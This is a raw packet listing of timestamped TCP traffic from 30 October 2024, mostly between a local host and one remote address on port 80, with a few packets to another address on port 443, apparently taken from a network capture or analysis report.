Oct 30, 2024 15:59:42.238821983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.238843918 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.268965006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.268976927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.268986940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.268999100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269011021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269022942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269045115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269081116 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269138098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269150972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269166946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269179106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269211054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269223928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269287109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269455910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269468069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269479036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269490957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269500971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269511938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269512892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269526958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269537926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269541979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269550085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269557953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269562960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269584894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269609928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.269943953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269954920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269968033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.269993067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270008087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270113945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270132065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270143986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270153999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270154953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270168066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270179033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270184994 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270190001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270204067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270212889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270222902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270235062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270241976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270251036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270263910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270266056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270275116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270287037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270284891 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.270294905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270298004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270308018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270317078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270328999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270339966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270349026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270349026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270360947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270373106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270385981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270396948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270431042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270438910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270456076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270467043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270494938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270512104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270559072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270592928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270643950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270667076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270679951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270709038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270715952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270720005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.270745039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.270770073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.271327972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271368027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271377087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.271378994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271428108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.271465063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271533012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271543980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271578074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.271598101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271610975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271646023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.271972895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.271991014 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.272010088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.272011042 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.272130966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.272146940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.272178888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.272192001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.272593021 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.272598982 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.272943020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.272989988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.273611069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273658991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.273792982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273802996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273813009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273852110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.273864985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.273967028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273977041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273988008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.273998976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274008989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274014950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274020910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274033070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274035931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274070024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274108887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274358034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274593115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274610996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274621964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274632931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274643898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274652958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274663925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274669886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274674892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274686098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274697065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274703979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274708033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274719954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274724007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274732113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274744034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274759054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274764061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274769068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274775028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274786949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274796963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274801016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274813890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274826050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274836063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274846077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274856091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274868011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274871111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274885893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274898052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274904966 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274909019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274920940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274924994 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274935961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274943113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.274966002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.274990082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.275310993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.275332928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.275346041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.275357962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.275374889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.275393963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.275461912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.275474072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.275516033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.275979996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276027918 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.276141882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276153088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276194096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.276205063 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.276319027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276330948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276341915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276396036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.276726007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276737928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276748896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276812077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.276865005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.276977062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277057886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277070045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277080059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277092934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277103901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277111053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277117014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277128935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277138948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277157068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277203083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277209997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277215958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277225971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277241945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277254105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277265072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277271986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277271986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277277946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277297974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277321100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277357101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277369022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277379990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277390957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277403116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277407885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277415991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277436972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277450085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277546883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277558088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277568102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277580023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277591944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277601957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277602911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277615070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277617931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277633905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277664900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277863979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277874947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277887106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.277916908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.277955055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278033018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278045893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278054953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278067112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278075933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278088093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278096914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278100014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278114080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278120995 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278125048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278131008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278136969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278150082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278153896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278168917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278172970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278182030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278192043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278198957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278203964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.278227091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.278240919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.308685064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.308702946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.308713913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.308732033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.308748007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.309209108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.309254885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.309273958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.309377909 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.353130102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.353147030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.353157997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.353214025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.353257895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.354574919 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.355154991 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.355184078 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.355647087 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.355654001 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.384654045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384668112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384680033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384694099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384717941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384742022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384768963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384780884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384793043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384794950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384823084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384834051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384876966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384887934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384898901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384927034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384928942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384947062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.384951115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.384973049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385014057 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385034084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385046959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385086060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385094881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385107040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385118961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385154963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385198116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385210037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385221004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385232925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385243893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385245085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385255098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385270119 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385301113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385400057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385411978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385421991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385457039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385468960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385476112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385487080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385499001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385523081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385546923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385554075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385565996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385577917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385617018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385706902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385719061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385730028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385741949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385780096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385787010 CET	80	49716	185.215.113.206	192.168.2.6
